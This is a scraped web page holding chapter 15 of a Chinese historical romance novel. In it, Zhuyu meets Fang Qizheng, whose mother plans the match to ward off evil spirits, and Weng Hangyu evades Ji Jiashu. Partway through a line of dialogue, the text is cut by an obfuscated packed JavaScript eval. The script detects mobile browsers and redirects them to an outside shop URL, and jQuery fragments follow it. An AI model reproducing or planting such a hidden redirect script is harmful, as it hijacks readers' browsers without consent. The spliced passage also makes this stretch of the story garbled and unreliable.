默认冷灰
24号文字
方正启体

15. 第 15 章

作者:鹿燃本书字数:K更新时间:
    顺着那只骨节苍白又陌生的手看过去,是一个年轻男子,长相周正英俊,只是身形削瘦,面色也略显病态的白,正以探究的目光望着她。


    那方递到面前的帕子被茱萸视而不见,略显局促的站起身,胡乱用袖子抹了把脸,以警惕的姿态望着来人。


    被眼前小姑娘谨慎的模样逗笑了,男子解释道:“别怕,这里除了我没有旁人,只是一会儿园子里的人多了起来,难免会有人寻到这儿,擦把脸吧。”


    男子声线温厚,姿容和善,见他并非存心取笑,反而让茱萸不好意思再将他的好意拒之门外,终还是缓缓伸出手接过那方帕子,细声道了声谢。


    方才匆忙狼狈逃窜至此处掉眼泪被人撞见,除了窘迫之外还有一种前所未有的难堪,走也不是,留也不是,帕子才一握进手里便开始后悔了。


    正发愁不知接下来要说些什么,对面的男子率先开口,却是茱萸听不太懂的话:“在京城住的可还习惯?”


    这话方才在茶寮前贺筠也问过她,无暇顾念先前在贺筠那里受到的重创,只惊异于面前这个并不眼熟的男子似对她的背景有所了解,“你.....怎么知道......”


    “我不光知道你初来京城不久,我还知道你叫朱萸。”他唇角弯弯,清澈见底的眸中闪动着真诚的意味。


    料想她大抵是想破脑袋也猜不透他的身份,男子便不卖关子,干脆自报家门:“我姓方,叫方祈峥,你母亲没同你提起过我吗?”


    粉色的唇微动两下,在嘴里将这个名子咀嚼了一遍,已然记起他就是杨茹口那位温柔敦厚、家室显赫的方家公子,也是杨茹眼巴巴的想要让她嫁给的男人,延伸到这一层,不免让茱心底生出几分不自在,更加后悔接他的帕子。


    答他听过其名讳,无疑是默认也知晓亲事一应,若八字没一撇,杨茹又怎会在家里与她空谈,可若说她听过,倒更让人抹不开面。


    好在方祈峥总是喜欢给旁人留些退路似的,并未在此事上计较,只是很快将话题转到了旁处。


    也一如方祈峥所言,就在二人所在不远的一处假山后,正有两双眼睛朝这边看来,将二人一举一动尽收眼底。


    杨茹低眉顺眼的站在一妇人身侧,几近讨好的同她示意那头:“这便是朱萸了。”


    妇人面若银盆,鼻若悬胆,一双柳叶眉高挑,气质不凡,鹰似的目光遥遥将茱萸从头至脚打量个遍,并不将始终在她身旁殷勤的杨茹放在眼里,“原本瞧着朱敬平平无奇,倒没对你家这位姑娘抱太多期待,如今亲眼见过了,模样身段儿倒真是不错,寻遍整个京师,怕也没几个这样的。”


    向来伶俐的杨茹又如何听不出这人是在嘲讽,可眼前这位正是她想要攀附的方家主母钱英雪,硬着头皮饮下因钱英雪嘲弄朱敬的恨意,依然赔笑道:“若是普通姿色,哪里敢向您举荐呢。”


    “她真是重阳生的?”


    “千真万确,就连她这名字,也是当初就此而起,”杨茹一顿,“更别说她这些年都是在义庄生活,还给县上的人做阴事生意,义庄那地方可不是普通人压得住的,她的八字我也找人批过,阳气极重。”


    面上看起来钱英雪在听到这些后才添几分满意,她的夫君早亡,仅留下一子方祈峥,奈何他先天不足,身子孱弱,自小常被邪祟缠身,正需要阳气重的八字才镇压得住。这等八字倒并非没有,只是方家虽显赫,可说到底还是借了翁家的势,京中真正的名流并不甘心与方家结亲,而太不入流的门第方家又看不上,于亲事上可谓是高不成低不就,表面风光内里尴尬,挑挑拣拣一番目光才落到朱家头上。


    朱家虽家道中落,可往上数三代也是书香世家,虽打心里仍是不情不愿,可眼下钱英雪也没有更好的选择,也只能如此。


    茱萸此物又名辟邪翁,而眼前的茱萸在钱英雪眼中,正是她宝贝儿子的辟邪翁。


    不同于钱英雪的算计,让她颇为倚仗的翁氏在各色场合皆为贵客,即便是姗姗来迟也没有人敢当众说一个不字。


    翁杭玉是同长嫂一起来的,可他知道此行目的,一入了园子便趁人不备跑了,高珊蕊与人寒暄了几句,再扭过头人便寻不见了,虽心里有火却也不好当着外人的面发散,只能给婢女使了眼色去寻。


    身上有伤,天气一热便开始隐隐作痛,他右手捂着肋下缓行几步,回想到安平一行,暗暗后悔起来,更没什么心情逛园子,本想着稍适歇息便寻个借口溜了,倒没想才一到廊下,便瞧见他的表兄——方祈峥。


    表兄正面朝他这个方向与人说话,而他对面的人半身隐在乌漆的廊柱后,虽看不见容貌,却不难分辨是个女子,一时兴起,翁杭玉倒没上前去打扰,而是倚在廊下颇为玩味的瞧着表兄,看此刻方祈峥的表情,他也能猜出个七八。


    只是再次将目光移到廊柱遮掩半身的女子时,翁杭玉的眸中闪过一丝疑惑,这个背影......很像她......


    忍不住心底意念的驱使,将身子站直,才想着上前一探究竟,却被一人断了去路。


    “好久不见,二公子。”那一抹抢眼的梅红色,除了常以明艳示人的纪嘉淑还能有谁。


    长嫂一早就说过,此人也会来,因此翁杭玉并不意外,也一如以往每次见她时那样态度冷淡,情绪并没有什么起伏。


    “一年多未见,二公子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124976|196022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一点都没变。前日本想去府上探望,可听说你还在养病,着实不便见人,也就罢了。”纪嘉淑一双狐狸眼望向眼前男子时灌有一瓯春水,转盼流光。她生得娇媚,在京师是数得上的美人,求娶者无数,亦不晓得有多少人为之倾倒,可佳人一颗芳心暗许翁杭玉多年,却在他身上一无所获。


    但她并不急,二人门当户对且不论,连当今太后也曾有几次透露未来要给两人指婚的意味,于她而言,男婚女嫁是迟早的事,眼前这个男人迟早是她的。


    被这么一打岔,心起的那点兴致全无,再抬眼,与表兄说话的女子几乎整个身子都已隐到廊柱后,被纪嘉淑搅得心烦,再一想天底下又怎会有那么巧合的事,那人拿了他那么多金子,早不知跑到哪里去逍遥快活,又怎会出现在这里,想去一探究竟的心也便就此作罢。


    “是啊,我才归京不久,是将养了好一阵子,不过今日好了,”长袖一甩,翁杭玉摆出一副放荡样子,与从前一般无二,望向纪嘉淑的目光虽带笑意却不达眼底,“听说教坊司新来了不少乐户,我正要去瞧瞧呢,纪小姐可与我同去?”


    “二公子知道的,我向来不去那种地方。”又一次话不投机,纪嘉淑也并非温软性子,知他有意取笑,也摆出一副倨傲的模样来。


    “那我就不奉陪了!”极其敷衍的道别,方才刻意摆在眼睛里的笑也很快撤去,再从廊下出来时,唇边噙着一抹菲薄的意味。


    在他眼里,纪嘉淑与他自小所见的女子并没有任何分别,她们想要的到底是什么,翁杭玉最清楚不过,无非是想借翁氏一族的荣光,透亮自身与她们的家族罢了。


    他生来便不是任人摆布的性子,前二十年一直都是游戏人间,放荡不羁,细算起来这辈子也只在那人身上栽过跟头,不过翁杭玉在心里宽宥自己,那不过是因为他曾失忆的原故,脑筋不清楚才会被人当成了报复旁人的筹码,此生唯此一次,下不为例。


    思由至此,那白白净净的身影又冲到脑海里,一股无明火拱上心头,燎得一身反骨根根分明,只要他想,就能派千军万马出去立即将她拎到自己眼前,拎回来之后,无论是那雪白的脖颈还是那双纤细的手臂,都能被他轻易掰折,这还不止,他不晓得有多少细碎的法子折腾她,让那东西知道戏耍他翁杭玉到底是什么下场。


    话虽如此,到底他还是没有这样做,反倒真是来了教坊司。


    昔日的狐朋狗友一早得了信儿,对其远街高迎。一时间半条街都在因翁杭玉的到来而热闹非凡,而就在他踏入教坊司的那一刻,有一辆素简的马车自他身后的宽街上驶过,马车颠簸,竹帘晃动,马车里那张白白净净的脸乍隐乍现。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)